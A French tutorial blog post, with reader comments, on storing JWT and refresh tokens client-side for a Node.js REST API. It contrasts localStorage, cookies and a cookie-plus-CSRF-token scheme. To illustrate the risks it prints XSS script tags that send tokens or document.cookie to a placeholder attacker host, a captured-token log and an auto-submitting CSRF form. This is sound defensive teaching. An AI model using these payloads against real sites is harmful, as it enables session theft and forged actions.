Après avoir vu la théorie sur la sécurisation d’une API REST et l’implémentation en Node.js, nous allons clore cette série d’articles avec la gestion du JSON Web Token (JWT) coté client et voir les erreurs bien trop souvent commises.
Note : Avant de poursuivre, je tiens à préciser que les exemples de cet article sont fonctionnels, mais sont simplifiés au maximum pour que vous compreniez les concepts clés. Comme pour les autres articles certains raccourcis sont pris (middleware simplifié, gestion des erreurs, accès à la base de données, etc.) pour améliorer la compréhension, je ne me concentre pas sur l’architecture de l’application ce n’est pas le but de l’article. Comme toujours, libre à vous d’adapter en fonction de vos projets.
Connexion à l’API
Lors de la connexion à une API REST, on récupère souvent le JWT et le « refresh token » dans la réponse HTTP, c’est d’ailleurs ce que nous avons fait dans le précédent article :
1 2 3 4 5 6 7 | { "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdE5hbWUiOiJKb2huIiwibGFzdE5hbWUiOiJEb2UiLCJpYXQiOjE1OTE3MDcwMTksImV4cCI6MTU5MTcxMDYxOSwiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoiMSJ9.Nw41AQAiG7Qq0AVPFgY9H4-zG-4-JcUZ4KA3pFgMzPg", "tokenType": "Bearer", "accessTokenExpiresIn": 3600000, "refreshToken": "CZzSZh2KbSURsmnhs8cRSLg0u87hPvINi8GjSQ7CQ2oGvx/GdEmBKzds0pr/r7tSI3Of1DIGBaL1P2xCOV3ynX/dFz8MblViF8BOrQROSRVMKhBwMyAY7akxQrFqpTeWN/abtEVSkTP7tlUUcI8PTjlY9ZPSakG2nBvPbf+fgM8=", "refreshTokenExpiresIn": 2592000000 } |
Vient alors la question du stockage de ceux-ci côté client.
Erreur n°1 : Stockage des tokens dans le « localStorage »
Lorsque l’on souhaite stocker les tokens coté client, on pense naturellement à l’utilisation du localStorage
. Le code pour se connecter à notre API et récupérer les tokens pourrait ressembler à ceci :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | async function connect(username, password) { const headers = new Headers(); headers.append('Content-Type', 'application/json'); const options = { method: 'POST', mode: 'cors', body: JSON.stringify({ username, password }), headers }; const response = await fetch('https://mon-api.com/login', options); return response.json(); } |
Il suffit ensuite de stocker les tokens dans le localStorage
:
1 2 3 4 5 | /* Le nom d'utilisateur et le mot de passe doivent être récupérés depuis un formulaire par exemple */ const tokens = await connect(username, password); /* Le localStorage ne stocke que des chaines de caractères nous devons donc faire appel à la méthode "JSON.stringify" */ localStorage.setItem('tokens', JSON.stringify(tokens)); |
Il est possible de voir le contenu du localStorage
dans la console de votre navigateur. Pour Chrome, il suffit de se rendre dans l’onglet « Application » puis « Local Storage ».
Lorsque le client souhaite effectuer une requête sur une route sécurisée de notre API, celui-ci devra transmettre le JWT via l’en-tête HTTP Authorization
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | /* On récupère les tokens depuis le localStorage */ const tokens = localStorage.getItem('tokens'); if (!tokens) { /* Traitement dans le cas où aucun token n'existe dans le localStorage */ } /* Le localStorage stocke les données sous forme de chaines de caractères nous transformons donc la donnée en JSON */ const { accessToken, tokenType } = JSON.parse(tokens); /* On créer l'en-tête Authorization contenant le JWT */ const headers = new Headers(); headers.append('Authorization', `${tokenType} ${accessToken}`); const options = { method: 'GET', mode: 'cors', headers }; /* On effectue la requête */ const response = await fetch('https://mon-api.com/anything', options); const data = await response.json(); |
Malheureusement, cette façon de stocker les tokens ouvre la porte à une faille bien connue : la faille XSS.
La faille XSS
XSS ou cross-site scripting est un type de faille permettant d’injecter du contenu dans une page web par exemple du HTML ou du JavaScript.
Il existe plusieurs types d’attaques XSS, d’ailleurs un article dédié à la sécurité web devrait sortir prochainement dans lequel nous verrons en détail les différents types d’attaques XSS et comment s’en protéger.
Pour notre exemple, nous allons simplement voir l’attaque la plus répandue qui est l’attaque XSS stockée. Ce type d’attaque consiste simplement à un pirate d’envoyer du contenu malicieux à notre API (code JavaScript ou HTML par exemple) qui va le stocker en base de données et le restituer tel quel à notre application web qui elle va l’exécuter.
Le code malicieux peut être simplement :
1 | <script>alert('You have been hacked !')</script> |
Bon c’est pas jolie, jolie, mais rien de bien méchant, mais cela peut être ce type de code :
1 | <script>new Image().src = `https://hacker-website.com/tokens?value=${localStorage.getItem('tokens')}`;</script> |
Le navigateur exécute ce code et effectue une requête GET
sur le serveur du pirate avec les tokens en paramètre de l’URL sans que l’utilisateur s’en aperçoive. Il suffit ensuite au pirate de logger de son côté la requête pour récupérer les tokens :
1 2 3 4 5 6 | [2020-06-06T07:34:54.570Z] GET /tokens { value: '{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdE5hbWUiOiJKb2huIiwibGFzdE5hbWUiOiJEb2UiLCJpYXQiOjE1OTE3NzQ0OTMsImV4cCI6MTU5MTc3ODA5MywiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoiMSJ9.7xgB01GIMpx9iDT5QoLgCq1rTAq8zrk6rVki 9S3uFsQ","tokenType":"Bearer","accessTokenExpiresIn":3600000,"refreshToken":"kMRT4/rJ349DpjlnkFYXiEu9UKcf26ye17R8d5h1mmM4qfKE Tnbf e eKFTgFupxDTk1VpCN4ggoyXeIUMxhfuDdUUR hF0wg3Wt498Uy0RWU2dGw26TKtHIhr3K15GkQu52pp28M8UQ72sFDtrzGs2rnp fo0VQZC6wqBT5pn0=","refreshTokenExpiresIn":2592000000}' } |
Bon cette fois-ci c’est beaucoup plus grave ! Ceci n’est qu’un exemple parmi tant qu’autres permettant de voler les tokens depuis le localStorage
. Il existe bien entendu des solutions pour prévenir ce genre d’attaques comme nettoyer les données reçues pour les attaques XSS stockées par exemple, mais on en parlera dans un prochain article. Malgré tout stocker les tokens dans le localStorage
est une très mauvaise pratique.
Erreur n°2 : Stockage des tokens dans les cookies
Comme nous l’avons vu stocker les tokens dans le localStorage
ouvre la porte aux attaques XSS. Une autre solution consiste à stocker ceux-ci dans des cookies.
Dans le précédent article, notre API envoyait directement au client les tokens dans la réponse HTTP comme nous l’avons vu en introduction. Notre code ressemblait à ceci :
1 2 3 4 5 6 7 | return res.json({ accessToken, tokenType: config.accessToken.type, accessTokenExpiresIn: config.accessToken.expiresIn, refreshToken, refreshTokenExpiresIn: config.refreshToken.expiresIn }); |
Modifions celui-ci pour envoyer cette fois-ci les tokens dans des cookies :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | /* On créer le cookie contenant le JWT */ res.cookie('access_token', accessToken, { maxAge: config.accessToken.expiresIn // Le temps d'expiration du cookie en ms }); /* On créer le cookie contenant le refresh token */ res.cookie('refresh_token', refreshToken, { maxAge: config.refreshToken.expiresIn, // Le temps d'expiration du cookie en ms path: '/token' // Ce cookie ne sera envoyé que sur la route /token }); /* On envoie tout de même une réponse JSON contenant les durées de vie des tokens */ res.json({ accessTokenExpiresIn: config.accessToken.expiresIn, refreshTokenExpiresIn: config.refreshToken.expiresIn }); |
Dans le cas d’une requête qui concerne le même domaine, le navigateur enregistre automatiquement les cookies. Par contre lorsque l’on effectue des requêtes entre domaines différents, ce qui est fréquent dans le cas d’une API REST, il devient obligatoire d’ajouter la propriété credentials
aux options de la méthode fetch
et de lui assigner la valeur include
:
1 2 3 4 5 6 7 8 9 10 11 12 13 | async function connect(username, password) { const headers = new Headers(); headers.append('Content-Type', 'application/json'); const options = { method: 'POST', mode: 'cors', body: JSON.stringify({ username, password }), headers, credentials: 'include' }; const response = await fetch('https://mon-api.com/login', options); return response.json(); } |
Si vous utilisez la classe XMLHttpRequest
ou la librairie axios à la place de fetch
, il suffit de définir l’option withCredentials
à true
.
Comme pour le localStorage
, vous pouvez directement voir les cookies depuis la console de votre navigateur. Pour Chrome, il suffit de se rendre dans l’onglet « Application » puis « Cookies ».
Il faut maintenant, dès lors que l’on effectue une requête sur une route sécurisée, envoyer les cookies à notre API. Comme pour l’enregistrement des cookies, si la requête concerne le même domaine, ceux-ci sont envoyés automatiquement. Dans le cas contraire, il faut ajouter la propriété credentials
aux options de la méthode fetch
et de lui assigner la valeur include
(ou withCredentials
à true
pour la classe XMLHttpRequest
ou la librairie axios) :
1 2 3 | const options = { method: 'GET', mode: 'cors', headers, credentials: 'include' }; const response = await fetch('https://mon-api.com/anything', options); const data = await response.json(); |
Côté serveur, il faut par contre modifier le middleware d’authentification puisque celui-ci récupérait le JWT depuis l’en-tête HTTP Authorization
, il faut maintenant le récupérer depuis les cookies:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | const jwt = require('jsonwebtoken'); const User = require('./models/User'); const { secret, algorithm } = require('./config'); async function auth(req, res, next) { try { const { cookies } = req; /* On vérifie que le JWT est présent dans les cookies de la requête */ if (!cookies || !cookies.access_token) { return res.status(401).json({ message: 'Missing token in cookie' }); } /* On vérifie et décode le token à l'aide du secret et de l'algorithme utilisé pour le générer */ const decodedToken = jwt.verify(cookies.access_token, secret, { algorithms: algorithm }); /* On vérifie que l'utilisateur existe bien dans notre base de données */ const userId = decodedToken.sub; const user = await User.findOne({ where: { id: userId } }); if (!user) { return res.status(401).json({ message: `User ${userId} not exists` }); } /* On passe l'utilisateur dans notre requête afin que celui-ci soit disponible pour les prochains middlewares */ req.user = user; /* On appelle le prochain middleware */ return next(); } catch (err) { return res.status(500).json({ message: 'Internal error' }); } } |
Bon normalement là tout est bon, on doit maintenant être protégé contre les attaques XSS !
Eh bien… Pas du tout ! En fait il est tout à fait possible de récupérer les cookies en JavaScript :
1 | document.cookie |
On peut donc utiliser la même faille XSS que pour localStorage
:
1 | <script>new Image().src = `https://hacker-website.com/tokens?value=${document.cookie}`;</script> |
Bon vous vous en doutez il existe une solution pour protéger nos cookies d’une attaque XSS.
Il existe deux options permettant de sécuriser nos cookies :
HttpOnly
: Cette option permet d’interdire l’utilisation du cookie côté client, il est donc impossible de récupérer celui-ci via l’instruction vue précédemment, on est donc protégé des failles XSS;secure
: Cette option permet d’envoyer le cookie uniquement dans via le protocole HTTPS.
Modifions donc notre code coté serveur:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | /* On créer le cookie contenant le JWT */ res.cookie('access_token', accessToken, { httpOnly: true, secure: true, maxAge: config.accessToken.expiresIn }); /* On créer le cookie contenant le refresh token */ res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: true, maxAge: config.refreshToken.expiresIn, path: '/token' }); /* On envoie tout de même une réponse JSON contenant les durées de vie des tokens */ res.json({ accessTokenExpiresIn: config.accessToken.expiresIn, refreshTokenExpiresIn: config.refreshToken.expiresIn }); |
Cette fois-ci c’est tout bon… Enfin pas vraiment. On est bien protégé des attaques XSS mais on est vulnérable à un autre type d’attaque : les attaques CSRF.
La faille CSRF
Cross Site Request Forgery ou CSRF est un type de faille qui consiste simplement à faire exécuter à une victime une requête HTTP à son insu.
On va prendre un exemple très simple pour mieux comprendre :
- Un utilisateur est authentifié sur notre API. Le cookie contenant le JWT est alors stocké dans son navigateur;
- Une personne mal intentionnée incite l’utilisateur à visiter la page d’un site contenant du code malveillant exécutant une requête vers notre API;
- La requête est envoyée sur notre API avec le cookie contenant le JWT de l’utilisateur qui est ajouté automatiquement par le navigateur;
- Notre API effectue l’opération correspondant à la requête à l’insu de l’utilisateur.
Il y a plusieurs manières de procéder à une attaque CSRF, par exemple cela peut être un formulaire qui est envoyé une fois la page chargée :
1 2 3 4 5 | <body onload="document.hacked.submit()"> <form action="https://mon-api.com/posts" method="POST" name="hacked"> <input type="hidden" name="content" value="You have been hacked !" /> </form> </body> |
Ce code effectue une requête POST sur notre API et ajoute un article dont le contenu est « You have been hacked ! ». Imaginez donc ce qu’il est possible de faire avec ce type d’attaque.
Concernant le refresh token, le stockage dans un cookie ne pose pas de problème. Celui-ci est uniquement utilisé pour générer un nouveau JWT. Donc même dans le cas d’une attaque CSRF, l’attaquant n’a pas moyen de récupérer le nouveau JWT ou d’effectuer d’autres actions.
Ce qu’il nous faut c’est donc un moyen de protéger le JWT contre les attaques XSS et CSRF.
FUUUUSION… HA !
Nous avons vu que le stockage des tokens dans le localStorage
nous exposé aux attaques XSS et que le stockage de ceux-ci dans des cookies nous exposé cette fois-ci aux attaques CSRF.
Du coup, quelle solution pour nous prémunir de ces attaques ? Et bien nous allons fusionner les deux solutions. En effet, le localStorage
n’est pas sensible aux attaques CSRF et inversement les cookies ne sont pas sensibles aux attaques XSS (via la propriété HttpOnly).
L’idée est de diviser nos informations d’authentification en deux parties et de stocker celles-ci à la fois dans le localStorage
et dans un cookie. On envoie ensuite ses deux informations au serveur, l’une via le cookie et l’autre via un en-tête HTTP.
Concrètement, voici comment cela se déroule :
- Lors de l’authentification, notre API va générer un token unique que l’on appelle token CSRF et qui sera stocké dans le payload du JWT;
- Notre API envoie le JWT dans un cookie et le token CSRF dans le corps de la réponse HTTP;
- Le navigateur va s’occuper de stocker le cookie et nous allons stocker le token CSRF dans le
localStorage
; - Lors d’une requête sur notre API, celle-ci doit comporter à la fois le cookie contenant le JWT et un en-tête HTTP
x-xsrf-token
contenant le token CSRF; - Notre API décode le JWT et vérifie sa validité;
- Notre API vérifie que le token CSRF contenu dans l’en-tête HTTP correspond à celui du payload du JWT, si c’est le cas l’utilisateur est authentifié.
Voyons voir maintenant ce que cela donne au niveau du code.
Coté serveur, commençons par modifier notre route de connexion :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | const crypto = require('crypto'); const jwt = require('jsonwebtoken'); const { User, RefreshToken } = require('./models'); const config = require('./config'); app.post('/login', async (req, res, next) => { try { /* On récupère le nom d'utilisateur et le mot de passe dans la requête */ const { username, password } = req.body; /* On envoie une erreur au client si le paramètre username est manquant */ if (!username) { return res.status(400).json({ message: 'missing_required_parameter', info: 'username' }); } /* On envoie une erreur au client si le paramètre password est manquant */ if (!password) { return res.status(400).json({ message: 'missing_required_parameter', info: 'password' }); } /* On authentifie l'utilisateur */ const user = await User.authenticate(username, password); /* On envoie une erreur au client si les informations de connexion sont erronées */ if (!user) { return res.status(401).json({ message: 'Username or password is incorrect' }); } /* On créer le token CSRF */ const xsrfToken = crypto.randomBytes(64).toString('hex'); /* On créer le JWT avec le token CSRF dans le payload */ const accessToken = jwt.sign( { firstName: user.firstName, lastName: user.lastName, xsrfToken }, config.accessToken.secret, { algorithm: config.accessToken.algorithm, audience: config.accessToken.audience, expiresIn: config.accessToken.expiresIn / 1000, // Le délai avant expiration exprimé en seconde issuer: config.accessToken.issuer, subject: user.id.toString() } ); /* On créer le refresh token et on le stocke en BDD */ const refreshToken = crypto.randomBytes(128).toString('base64'); await RefreshToken.create({ userId: user.id, token: refreshToken, expiresAt: Date.now() + config.refreshToken.expiresIn }); /* On créer le cookie contenant le JWT */ res.cookie('access_token', accessToken, { httpOnly: true, secure: true, maxAge: config.accessToken.expiresIn }); /* On créer le cookie contenant le refresh token */ res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: true, maxAge: config.refreshToken.expiresIn, path: '/token' }); /* On envoie une reponse JSON contenant les durées de vie des tokens et le token CSRF */ res.json({ accessTokenExpiresIn: config.accessToken.expiresIn, refreshTokenExpiresIn: config.refreshToken.expiresIn, xsrfToken }); } catch (err) { return res.status(500).json({ message: 'Internal server error' }); } }); |
Coté client, la fonction de connexion reste la même, il nous faut juste stocker le token CSRF dans le localStorage
:
1 2 3 4 5 | /* Le nom d'utilisateur et le mot de passe doivent être récupéré depuis un formulaire par exemple */ const { xsrfToken } = await connect(username, password); /* Le localStorage ne stocke que des chaines de caractères nous devons donc faire appel à la méthode "JSON.stringify" */ localStorage.setItem('xsrfToken', JSON.stringify(xsrfToken)); |
Il nous faut maintenant gérer l’authentification via le middleware coté serveur :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | const jwt = require('jsonwebtoken'); const User = require('./models/User'); const { secret, algorithm } = require('./config'); async function auth(req, res, next) { try { const { cookies, headers } = req; /* On vérifie que le JWT est présent dans les cookies de la requête */ if (!cookies || !cookies.access_token) { return res.status(401).json({ message: 'Missing token in cookie' }); } const accessToken = cookies.access_token; /* On vérifie que le token CSRF est présent dans les en-têtes de la requête */ if (!headers || !headers['x-xsrf-token']) { return res.status(401).json({ message: 'Missing XSRF token in headers' }); } const xsrfToken = headers['x-xsrf-token']; /* On vérifie et décode le JWT à l'aide du secret et de l'algorithme utilisé pour le générer */ const decodedToken = jwt.verify(accessToken, secret, { algorithms: algorithm }); /* On vérifie que le token CSRF correspond à celui présent dans le JWT */ if (xsrfToken !== decodedToken.xsrfToken) { return res.status(401).json({ message: 'Bad xsrf token' }); } /* On vérifie que l'utilisateur existe bien dans notre base de données */ const userId = decodedToken.sub; const user = await User.findOne({ where: { id: userId } }); if (!user) { return res.status(401).json({ message: `User ${userId} not exists` }); } /* On passe l'utilisateur dans notre requête afin que celui-ci soit disponible pour les prochains middlewares */ req.user = user; /* On appelle le prochain middleware */ return next(); } catch (err) { return res.status(500).json({ message: 'Internal error' }); } } |
Pour terminer, modifions notre code coté client pour effectuer une requête sur notre API :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | /* On récupère le token CSRF depuis le localStorage */ let xsrfToken = localStorage.getItem('xsrfToken'); if (!xsrfToken) { /* Traitement dans le cas où le token CSRF n'existe dans le localStorage */ } /* Le localStorage stocke les données sous forme de chaines de caractères nous transformons donc la donnée en JSON */ xsrfToken = JSON.parse(xsrfToken); /* On créer l'en-tête x-xsrf-token contenant le token CSRF */ const headers = new Headers(); headers.append('x-xsrf-token', xsrfToken); const options = { method: 'GET', mode: 'cors', headers, credentials: 'include' }; /* On effectue la requête */ const response = await fetch('https://mon-api.com/anything', options); const data = await response.json(); |
Pour finir…
Pour clôturer cette série d’articles, nous avons vu quelques bonnes pratiques concernant la sécurisation d’une API REST, leurs implémentations en Node.js et que le simple stockage des tokens coté client pouvait exposer nos applications à plusieurs failles de sécurité.
Nous n’avons pas encore terminé côté sécurité, puisque nous verrons dans un prochain article comment nous prémunir entre autres des failles XSS et CSRF de manière plus générale et quelles sont les autres bonnes pratiques en termes de sécurité lorsque nous développons une application web.
Je suis lead developer dans une boîte spécialisée dans l’univers du streaming/gaming, et en parallèle, je m’éclate en tant que freelance. Passionné par l’écosystème JavaScript, je suis un inconditionnel de Node.js depuis 2011. J’adore échanger sur les nouvelles tendances et partager mon expérience avec les autres développeurs.
Si vous avez envie de papoter, n’hésitez pas à me retrouver sur Twitter, m’envoyer un petit email ou même laisser un commentaire.
Merci pour cette série d’articles très instructifs.
J’ai cependant un doute sur la robustesse de la solution utilisant « CSRF token + Cookie HttpOnly » face aux attaques XSS. Si un attaquant parvient à injecter du JS, il n’a certes pas directement accès au JWT mais a accès au token CSRF. Comme les cookies sont automatiquement passés, il lui suffit alors de récupérer le csrf-token et de forger une requête HTTP avec
fetch()
. Ainsi, le token CSRF **et** le JWT sont passés et valides.Qu’en dites-vous ?
Cordialement,
Je m’attendais à cette question bien vue 😉 ! Il est effectivement possible de procéder à une attaque XSS et d’injecter du code effectuant une requête HTTP via
fetch
. C’est pourquoi il faut à tout prix se prémunir des failles XSS, comme je l’ai dit je compte faire un article qui s’intéresse plus en détail aux différents soucis de sécurité dont notamment les failles XSS (OWASP Top Ten). Mais même en étant protégé contre les failles XSS, on n’est pas à l’abri d’utiliser une librairie vérolée. Bon après vu que la méthode présentée dans l’article empêche de voler le JWT, la librairie vérolée ne pourra effectuer que des requêtes sur notre API en utilisant le token CSRF + le JWT, autrement dit elle doit être conçue uniquement pour effectuer une attaque sur notre API, donc peu de chance que ça arrive.hello , pourquoi ne pas simplement mettre le jwt Token dans les cookies et le Refresh token dans le localStorage ?
Tu peux te le faire voler via une attaque XSS et le hacker peut l’utiliser pour récupérer un nouveau JWT. Tu peux par contre toujours demander l’ancien JWT (contenu dans un cookie) en plus du refresh token pour récupérer un nouveau JWT
Merci pour ta réponse aussi rapide , enfaîte je développe une appli pour une certification de développeur web et j’utilise ta technique pour la partie « faille de sécurité » et du coup j’ai des probleme avec le refresh token , quand je signe a nouveau le acces token , je dois recupéré le xsrfToken via la requête le local storage ?
Pour le refresh token tu n’as pas besoin d’envoyer le xsrfToken. Quand tu veux récupérer un nouveau refresh token tu as juste à envoyer, coté front, une requête POST sur ta route (en envoyant bien le cookie avec l’option withCredentials à true) et récupérer le refresh token depuis le cookie coté back. Tu vérifies que celui-ci est valide et tu génères les nouveaux tokens : access et refresh dans des cookies, et xsrf dans le corps de la réponse HTTP que tu stockeras dans le localStorage coté front.
Du coup je ne vois pas l’utilité du refresh TOKEN, ormi etre stocké dans la BDD …
tu vas t’en servir pour faire quoi
L’access token peut avoir une durée de vie de quelques heures voir de quelques minutes, tu t’imagines bien que tu ne vas pas demander à chaque fois à l’utilisateur de se reconnecter. Par contre, une fois l’access token expiré ton application va envoyer le refresh token à l’API pour demander un nouveau access token (et un nouveau refresh token). Tu vas me dire pourquoi ne pas utiliser un access token avec une durée de vie plus élevée ? Tout simplement car celui-ci est envoyé à chaque appel API et il n’est pas impossible que celui-ci soit intercepté (peu importe la façon) et soit utilisé à des fins malveillantes. Comme nous sommes dans une API stateless, il n’y a pas de session côté serveur et l’access token n’est donc pas stocké, de ce fait il est impossible pour le serveur de blacklister cet access token « corrompu » c’est pourquoi on définit généralement des access tokens avec une durée de vie faible pour pouvoir « renouveler » ceux-ci régulièrement via le refresh token. Le refresh token n’est pas à l’abri d’être volé mais le front est censé le stocker dans un endroit sécurisé et l’envoyer uniquement pour demander un nouveau access token. De plus, si on a un doute sur un refresh token on peut très bien le blacklister côté serveur car celui-ci est stocké en base de données.
Hello,
je tombe sur cet article longtemps après sa parution mais on sait jamais.
Si tu stockes le refresh token dans un cookie il va être envoyé automatiquement par le navigateur.
Dans ce cas on perd l’intérêt du refresh token qui ne devrait être envoyée uniquement au moment de générer un nouvel access token (afin d’éviter au maximum que le refresh token se fasse intercepter).
Hello,
C’est vrai que l’article date un peu mais je suis toujours là pour répondre 😀 ! Je ne l’ai pas forcément bien explicité dans l’article, mais le refresh token se trouve dans un cookie qui ne sera envoyé que sur la route « /token » (via la propriété path du cookie). Donc, pas d’inquiétude, le refresh token est bien envoyé uniquement lors de la demande d’un nouvel access token. 😉
Très bon article By The Way 😉
Bonjour,
Merci pour cette série d’articles très intéressante !
Je comprends bien le principe d’access et refresh token. Mais vu le role primordial et stratégique du refresh token (il permet de régénérer un access token) je ne comprends pas qu’il soit stocker dans les cookies alors que l’article précise qu’ils peuvent être sujets à une attaque.
Si un hacker récupère le refresh token via une attaque CRSF on peut imaginer qu’il pourra le récupérer tout le temps. Et donc accéder tout le temps a un access token. Et toute la sécurité de l’API tombe à l’eau. Non ? Je manque quelque chose ?
Très belle série d’articles.
Cependant je ne comprends pas pourquoi le refreshToken est stocké uniquement dans les cookies. Vous écrivez que dans ce même article que les cookies sont sujets aux attaques du fait de la faille CSRF. Ainsi notre refreshToken est vulnérable. Et ce refreshToken est critique dans la sécurisation de notre API. S’il est volé on peut générer un nouvel accessToken et récupérer un nouveau refreshToken. Donc accéder à l’API comme bon nous semble.
Je manque quelque chose ?
Merci !
Attention l’attaque CSRF ne permet pas de voler les tokens mais de tromper l’utilisateur en lui faisant effectuer des actions à son insu. Le refresh token se trouve dans cookie qui ne peut être envoyé que sur la route « /token » (via la propriété path du cookie, j’aurais dû être plus précis dans l’article) qui est la route pour récupérer un nouveau access token (et refresh token). Donc même si l’on est victime d’une attaque CSRF avec le refesh token, la seule action possible est de régénérer un access token et un refresh token, ce qui en soit n’est pas très grave car je le rappelle tout se passe dans le navigateur de l’utilisateur et donc l’attaquant n’a aucun moyen de récupérer les tokens ou d’effectuer d’autres actions.
J’espère que cela a répondu à ta question 😉
Oui je comprends mieux !
Merci encore, c’est top !
Hello, étant en fin de formation DWWM, j’avais essayé de mettre en place ce type de sécurité sur une app avec une api sous symfo et un front sous React. Mais en prenant un peu de recul je me rend compte que tout ça est inutile, non ?
Je m’explique, les failles xss sont gérés par symfony, impossible pour un utilisateur d’insérer un script en BDD, du coup on pourrait très bien se contenter de stocker le JWT ( généré à la connexion de l’utilisateur) dans le localStorage ?
Salut, merci beaucoup pour ton tuto,
Par contre j’ai un petit problème je n’arrive pas à voir le cookie dans le navigateur, pourtant credentials: ‘include’ est bien activé, ça peut être du à quoi d’autre ? :s
Ton API est bien en HTTPS ?
Salut,
J’ai le même problème. Mon API est en HTTPS.
Quand j’utilise l’inspecteur, je le vois bien passer lors du login dans « set-cookie’ mais je ne le retrouve pas dans l’onglet cookie ensuite. Je ne peux donc pas m’en servir plus tard.
Ton client est bien en HTTPS ?
Salut mon app sauvegarde en localStorage, j’ai souhaité essayer quelque chose moitié cookie moitié localStorage mais étrange quand mon app vuejs3 se connecte via axios, impossible d’avoir un cookie,
sur la meme route de l’api j’accede et je crée un cookie mais avec axios toujours undefined
console.log(req.cookies) // avec axios toujours undefined & en accedant via chrome j’obtiens à la prochaine requete le timestamp
Sais tu pourquoi ?
res.cookie(« test », new Date().getTime(), { httpOnly: true, secure: true })
Bonjour,
Je ne peux pas supprimer mon commentaire précedent en revanche j’ai résolu le probleme des cookies et donc j’ai modifié mon authentification pour que cela fonctionne comme ce que tu as proposé comme explication.
Cela dit, dans mon entreprise j’ai voulu analyser le risque que tu as cité, je t’expose la conception par écrit et j’aimerais avoir ton avis si il y a un risque et lequel ?
Il n’y a pas de cookies du tout !
C’est une app VueJS3 avec Pinia et bien sure Axios, inutile d’en citer d’avantage
Lors de l’authentification, un seul token est sauvegardé en localStorage c’est le refreshToken, l’authToken est conservé dans le store de Pinia.
Si on rafraichit ou bien on ferme et réouvre le navigateur, l’authToken est bien entendu inexistant puisqu’il etait dans le store, la procédure est la suivante
Au montage du composant, le refreshToken qui est valide demande à l’API un AuthToken qui sera à nouveau conservé dans le store de Pinia, si nécessaire le refreshToken se met à jour ce qui est le cas
Vois tu une potentiel vulnérabilité ?
Merci